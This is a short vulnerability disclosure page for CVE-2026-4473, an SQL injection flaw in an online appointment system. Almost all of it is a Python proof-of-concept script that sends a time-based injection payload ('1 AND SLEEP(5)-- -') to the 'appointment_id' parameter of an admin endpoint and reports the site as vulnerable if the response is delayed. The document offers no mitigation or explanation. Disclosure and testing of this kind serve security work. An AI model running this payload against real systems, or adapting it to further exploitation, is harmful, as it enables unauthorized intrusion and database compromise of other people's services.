CVE-2026-4473 在线预约系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/admin/appointment_action.php" # The vulnerable parameter is 'appointment_id' # Testing with a basic time-based SQL injection payload payload = "1 AND SLEEP(5)-- -" data = { "appointment_id": payload } try: print("[*] Sending payload to target...") response = requests.post(target_url, data=data) # Check if the response time indicates a successful SQL injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] An error occurred: {e}")